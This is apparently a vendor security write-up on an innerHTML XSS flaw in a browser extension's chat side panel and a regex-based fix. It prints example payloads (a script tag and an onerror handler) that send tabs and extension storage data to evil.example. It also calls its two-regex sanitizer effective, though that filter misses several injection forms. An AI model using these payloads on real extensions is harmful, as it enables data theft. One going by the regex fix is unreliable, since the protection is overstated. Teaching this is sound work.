How innerHTML XSS Happens in JavaScript Browser Extensions and How to Fix It
Introduction
The sidepanel/panel.js file is the visual heart of this browser extension — it renders chat history, formats assistant responses, and displays them to the user. But inside the renderChat function, a single line quietly created a high-severity security hole: markdown-rendered content from an AI assistant was being written directly to row.innerHTML with no protection against embedded <script> tags or inline event handlers.
// Vulnerable code — line 1876 before the fix
row.innerHTML = renderMarkdown(m.content);
This matters because browser extensions operate in a privileged context. Unlike a normal web page sandboxed to its own origin, an extension's side panel can access extension APIs, interact with browser tabs, and read data that ordinary web content cannot touch. Any JavaScript that executes here does so with those elevated capabilities — making XSS in an extension far more dangerous than XSS on a typical website.
The Vulnerability Explained
What renderMarkdown produces — and why that's a problem
renderMarkdown() is a markdown-to-HTML converter. Its job is to take plain text like **bold** or # Heading and return formatted HTML. That's fine for legitimate markdown. But markdown renderers often pass through raw HTML — it's a feature, not a bug, in most implementations.
If the content of m.content (the assistant's message) contains something like:
<script>chrome.tabs.query({}, function(tabs){ fetch('https://evil.example/steal?t='+JSON.stringify(tabs)); });</script>
…then renderMarkdown() would return that string largely intact, and row.innerHTML = renderMarkdown(m.content) would inject it directly into the DOM, causing the browser to execute it.
The same risk applies to inline event handlers:
<img src="x" onerror="chrome.storage.local.get(null, d => fetch('https://evil.example/?d='+JSON.stringify(d)))">
Because onerror is a valid HTML attribute, the markdown renderer would not strip it, and the browser would fire it the moment the broken image tag is parsed.
The attack surface
The extension stores and replays chat history. A malicious website could craft a response that includes injected HTML payloads. If that response is saved and later displayed in the side panel, the payload executes in the extension context — potentially:
- Exfiltrating browser history or open tabs via
chrome.tabs - Reading extension storage via
chrome.storage - Making credentialed requests on behalf of the user
- Silently modifying extension settings
The existing escapeHtml() helper in the file is correctly applied to user-typed messages (the else branch uses row.textContent), but the assistant role branch bypassed this protection entirely in favor of rich formatting.
The Fix
What changed in renderChat
The fix is applied at line 1876 of sidepanel/panel.js. Here is the before/after comparison:
Before:
row.innerHTML = renderMarkdown(m.content);
After:
row.innerHTML = renderMarkdown(m.content)
.replace(/<script[\s\S]*?<\/script>/gi, '')
.replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '');
Breaking down the two .replace() calls
First replace — strips <script> blocks:
.replace(/<script[\s\S]*?<\/script>/gi, '')
<script[\s\S]*?<\/script>matches any<script>...</script>block, including multiline ones ([\s\S]matches newlines too)- The
gflag removes all occurrences, not just the first - The
iflag makes it case-insensitive (<SCRIPT>,<Script>, etc.)
Second replace — strips inline event handlers:
.replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '')
\s+on\w+matches any attribute starting withon(e.g.,onerror,onclick,onmouseover)\s*=\s*(?:"[^"]*"|'[^']*')matches both double- and single-quoted attribute values- This removes patterns like
onerror="..."oronclick='...'from any tag in the rendered output
Together, these two patterns eliminate the two most common vectors for script injection through HTML: explicit <script> tags and event-handler attributes.
Why this approach is scoped correctly
The fix only touches the assistant message rendering path. The user message path already uses row.textContent, which is inherently safe. The change tightens one specific assignment without altering the markdown rendering logic or breaking legitimate formatting like bold, italics, headers, or code blocks.
Prevention & Best Practices
1. Prefer textContent when rich HTML is not needed
If a string should appear as text — not HTML — always use element.textContent = value. It is impossible to inject HTML through textContent.
2. Use DOMPurify for rich HTML sanitization
For cases where you genuinely need to render HTML from untrusted sources, use a battle-tested library:
import DOMPurify from 'dompurify';
row.innerHTML = DOMPurify.sanitize(renderMarkdown(m.content));
DOMPurify maintains a comprehensive allowlist of safe tags and attributes and is actively maintained against bypass techniques. It is the industry standard for client-side HTML sanitization.
3. Apply a Content Security Policy (CSP)
Browser extensions support CSP in their manifest. A strict policy like:
"content_security_policy": {
"extension_pages": "script-src 'self'; object-src 'none';"
}
…prevents inline scripts from executing even if they are injected into the DOM, providing defense-in-depth.
4. Audit all innerHTML assignments in extension code
Run a project-wide search for innerHTML and review each assignment. Ask: "Could the value assigned here ever contain attacker-controlled content?" If yes, apply sanitization.
5. Use ESLint with security rules
The eslint-plugin-no-unsanitized plugin flags unsafe innerHTML assignments automatically. Adding it to your CI pipeline catches this class of bug before it reaches production.
Relevant standards
- OWASP: DOM-based XSS Prevention Cheat Sheet
- CWE-79: Improper Neutralization of Input During Web Page Generation
Key Takeaways
- The
renderChatfunction inpanel.jswas the specific injection point — theassistantrole branch usedinnerHTMLwhile theuserrole branch safely usedtextContent, an inconsistency that created a blind spot. - Markdown renderers can pass through raw HTML, meaning
renderMarkdown(m.content)is not a safe intermediary — its output must be treated as untrusted HTML. - Browser extension XSS is higher severity than web XSS because the injected code runs with extension-level API access, not just page-level access.
- Regex sanitization is a valid short-term fix, but for long-term maintainability, replacing the two
.replace()calls with DOMPurify provides broader coverage and easier auditability. - The existing
escapeHtml()helper in the file was never applied to the assistant code path — always verify that sanitization helpers are applied consistently across all rendering branches, not just some of them.
How Orbis AppSec Detected This
- Source: The
m.contentfield of assistant messages in the chat history — content that originates from external AI responses or saved page data and is not controlled by the application. - Sink:
row.innerHTML = renderMarkdown(m.content)at line 1876 ofsidepanel/panel.js, inside therenderChatfunction'sassistantrole branch. - Missing control: No sanitization was applied to the output of
renderMarkdown()before DOM insertion. TheescapeHtml()helper defined elsewhere in the file was not used on this code path. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
- Fix: Two chained
.replace()calls were added to strip<script>...</script>blocks andon*="..."event handler attributes from the rendered HTML before it is assigned torow.innerHTML.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
A single innerHTML assignment in renderChat — one that looked reasonable on the surface because it was rendering formatted markdown — opened a path for script injection in a privileged browser extension context. The root cause was an inconsistency: user messages were protected by textContent, but assistant messages were not, leaving the rendering pipeline exposed to anything a markdown renderer would pass through.
The fix is targeted and effective: two regex replacements remove the two most exploitable HTML injection vectors (<script> blocks and on* event handlers) directly on the output of renderMarkdown(). For teams maintaining similar extension code, the lesson is clear — every innerHTML assignment deserves scrutiny, and markdown renderers are not sanitizers.